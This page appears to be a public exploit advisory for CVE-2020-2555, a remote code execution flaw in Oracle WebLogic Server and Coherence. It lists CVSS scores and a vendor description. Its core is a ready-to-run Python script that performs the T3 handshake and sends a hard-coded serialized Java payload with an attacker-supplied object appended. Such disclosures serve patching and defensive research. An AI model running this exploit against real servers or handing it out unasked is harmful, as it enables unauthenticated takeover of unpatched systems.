Oracle WebLogic Server 12.2.1.4.0 Remote Code Execution

2020.04.15
Credit: nu11secur1ty
Risk: High
Local: No
Remote: Yes
CVE: CVE-2020-2555
CWE: NVD-CWE-noinfo


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Oracle WebLogic Server 12.2.1.4.0 - Remote Code Execution # Author: nu11secur1ty # Date: 2020-03-31 # Vendor: Oracle # Software Link: https://download.oracle.com/otn/nt/middleware/12c/122140/fmw_12.2.1.4.0_wls_Disk1_1of1.zip # Exploit link: https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-2555 # CVE: CVE-2020-2555 [+] Credits: Ventsislav Varbanovski (nu11secur1ty) [+] Source: readme from GitHUB [Exploit Program Code] -------------------------- #!/usr/bin/python # @nu11secur1ty import socket import os import sys import struct if len(sys.argv) < 3: print 'Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0]) sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) server_address = (sys.argv[1], int(sys.argv[2])) print '[+] Connecting to %s port %s' % server_address sock.connect(server_address) # Send headers headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' print 'sending "%s"' % headers sock.sendall(headers) data = sock.recv(1024) print >>sys.stderr, 'received "%s"' % data payloadObj = open(sys.argv[3],'rb').read() payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' payload=payload+payloadObj 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payload=struct.pack('>I',len(payload)) + payload[4:] print '[+] Sending payload...' sock.send(payload) data = sock.recv(1024) print >>sys.stderr, 'received "%s"' % data [Vendor] Oracle [Vulnerability Type] Network Remote [Description] Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Caching,CacheStore,Invocation). Supported versions that are affected are 3.7.1.17, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). [Disclosure Timeline] 2019/12/10 [+] Disclaimer The entry creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE. [Video] https://www.youtube.com/watch?v=59jt8rr8ECc @nu11secur1ty -- hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty


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